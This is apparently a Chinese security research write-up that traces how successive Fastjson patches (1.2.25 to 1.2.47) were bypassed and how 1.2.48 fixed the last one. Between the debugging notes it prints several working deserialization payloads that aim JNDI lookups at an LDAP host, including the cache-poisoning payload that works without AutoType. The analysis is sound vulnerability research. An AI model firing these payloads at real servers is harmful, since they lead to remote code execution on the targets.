checkAutoType补丁分析

在Fastjson1.2.25中使用了checkAutoType来修复1.2.22-1.2.24中的漏洞,其中有个autoTypeSupport默认为False。当autoTypeSupport为False时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错。当autoTypeSupport为True时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤。对于开启或者不开启,都有相应的绕过方法。

补丁绕过(需要开启AutoTypeSupport)

这里需要使用如下代码开启AutoTypeSupport

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

1.2.25-1.2.41补丁绕过

漏洞复现

payload:

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}

1.png

调试分析

可以看到在类名前面加了一个L,可以绕过黑名单

在checkAutoType里面进行了一系列获取clazz的操作

2.png

因为这个typeName是不存在的所以一直不能获取返回null,最后loadClass

3.png

跟进TypeUtils.loadClass

4.png

这里去除开头的L以及末尾的;得到newClassName然后loadClass,这样就绕过了CheckAutoType的检查,L代表对象类型,在JVM规范里有定义。

1.2.25-1.2.42补丁绕过

哈希黑名单

从1.2.42版本开始,在ParserConfig.java中可以看到黑名单改为了哈希黑名单,目的是防止对黑名单进行分析绕过,目前已经破解出来的黑名单见:https://github.com/LeadroyaL/fastjson-blacklist

漏洞复现

在1.2.22-1.2.42版本运行都能成功触发

payload:

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}

5.png

调试分析

在CheckAutoType里面增加了一次对className的提取操作,所以我们再写一对L;来绕过黑名单

6.png

在TypeUtils.loadClass里面再进行一次提取操作,但是这里进行提取操作的是typeName

7.png

所以最后还是得到Lcom.sun.rowset.JdbcRowSetImpl;,那怎么加载的呢,调试发现程序会循环调用自身的loadClass以得到正常的类

8.png

这样就可以正常的loadClass了

9.png

1.2.25-1.2.43补丁绕过

漏洞复现

1.2.43在checkAutoType里面添加了如下代码,连续出现两个L会抛出异常

12.png

所以就不能用L来绕过,注意到如果开头为[也会有对应操作,代码如下

10.png

尝试一下如下payload

{"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}

有如下报错

Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
    at com.alibaba.fastjson.parser.DefaultJSONParser.parseArray(DefaultJSONParser.java:675)
    at com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze(ObjectArrayCodec.java:183)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:373)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304)
    at com.alibaba.fastjson.JSON.parse(JSON.java:152)
    at com.alibaba.fastjson.JSON.parse(JSON.java:162)
    at com.alibaba.fastjson.JSON.parse(JSON.java:131)
    at NEW_JNDIClient.main(NEW_JNDIClient.java:8)

提示说希望在42列处加一个[号,刚好那个位置是第一个逗号,于是在前面添加一个[

payload如下

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[,"dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}

现在报错如下

Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 43, fastjson-version 1.2.43
    at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:451)
    at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:1261)
    at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown Source)
    at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:267)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parseArray(DefaultJSONParser.java:729)
    at com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze(ObjectArrayCodec.java:183)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:373)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304)
    at com.alibaba.fastjson.JSON.parse(JSON.java:152)
    at com.alibaba.fastjson.JSON.parse(JSON.java:162)
    at com.alibaba.fastjson.JSON.parse(JSON.java:131)
    at NEW_JNDIClient.main(NEW_JNDIClient.java:8)

报错说希望在43列有一个{,那么就在[后加一个{

payload如下

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}

成功触发漏洞

11.png

漏洞分析

进入当开头为[的判断

13.png

通过Array.newInstance().getClass()来获取并返回类

然后调用ObjectDeserializer#deserialze

14.png

然后调用parseArray对数组进行处理,这里也就是上面报错出现的地方

15.png

其中的if语句会判断字符串里面是否有[和{符号等,一一满足就行

1.2.25-1.2.45补丁绕过

漏洞利用

需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本

payload:

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/badNameClass"}}

16.png

漏洞分析

可以发现checkAutoType中添加了针对[的检测,如果第一个字符为[直接抛出异常

17.png

由于org.apache.ibatis.datasource.jndi.JndiDataSourceFactory不在黑名单中,所以直接能绕过checkAutoType的检测

看看setter方法

18.png

可以看到lookup里面的值是通过我们传入的data_source得到了所以造成了JNDI注入

为什么不开启AutoTypeSupport不行

因为在checkAutoType里面有如下判断

19.png

如果不开启就不会通过这个判断从而抛出异常

补丁绕过(不需要开启AutoTypeSupport)

1.2.25-1.2.47通杀

漏洞复现

漏洞原理是通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测

这里有两个版本段:

  • 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用
  • 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用

poc:

{    "a":{        "@type":"java.lang.Class",        "val":"com.sun.rowset.JdbcRowSetImpl"    },    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"ldap://localhost:1389/badNameClass",        "autoCommit":true    }}

这里使用1.2.47复现

20.png

漏洞分析

不受AutoTypeSupport影响的版本

未开启AutoTypeSupport时

因为未开启AutoTypeSupport,所以就不会进入黑白名单判断的逻辑

21.png

因为type的值是java.lang.Class,所以在findClass可以找到,最后返回clazz,接着会进入MiscCodec#deserialze,直接到最关键的地方

22.png

这里使用了TypeUtils.loadClass函数加载了strVal,也就是JdbcRowSetlmpl,跟进发现会将其缓存在map中

23.png

第二次解析时调用TypeUtils.getClassFromMapping()时能够成功从Map中获取到缓存的类,然后return返回从而成功绕过checkAutoType()检测

开启AutoTypeSupport时

由于开启了AutoTypeSupport,所以会进行黑白名单判断,而第一次解析时@type值为java.lang.Class所以都能通过,最后通过findClass函数获取到Class类

第二次解析时@type值就成了com.sun.rowset.JdbcRowSetImpl,那怎么绕过黑白名单的呢,黑名单禁止了com.sun

24.png

黑白名单判断的逻辑是先进行白名单再进行黑名单校验,在黑名单校验的if判断条件中是存在两个必须同时满足的条件的:

if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) 

第一个判断条件Arrays.binarySearch(denyHashCodes, hash) >= 0是满足的,因为我们的@type包含了黑名单的内容;关键在于第二个判断条件TypeUtils.getClassFromMapping(typeName) == null,这里由于前面已经将com.sun.rowset.JdbcRowSetImpl类缓存在Map中了,也就是说该条件并不满足,导致能够成功绕过黑名单校验、成功触发漏洞。

受AutoTypeSupport影响的版本

开启AutoTypeSupport时

逻辑和上面不受AutoTypeSupport影响的版本开启AutoTypeSupport时一样,就是黑名单判断逻辑里面少了一个TypeUtils.getClassFromMapping(typeName) == null导致可以进入黑名单判断,因为com.sun属于黑名单里面的内容,所以利用失败

未开启AutoTypeSupport时

和上面不受影响版本未开启AutoTypeSupport时差不多

1.2.48补丁分析

在loadClass时,将缓存开关默认设置为False,所以就不会通过缓存的判断。同时将Class类加入黑名单

25.png

26.png

27.png

参考文档

https://www.mi1k7ea.com/2019/11/10/Fastjson%E7%B3%BB%E5%88%97%E4%B8%89%E2%80%94%E2%80%94%E5%8E%86%E5%8F%B2%E7%89%88%E6%9C%AC%E8%A1%A5%E4%B8%81%E7%BB%95%E8%BF%87%EF%BC%88%E9%9C%80%E5%BC%80%E5%90%AFAutoType%EF%BC%89/

https://p0rz9.github.io/2019/07/15/Fastjson%E6%96%B0%E7%89%88%E6%9C%AC%E5%88%86%E6%9E%90/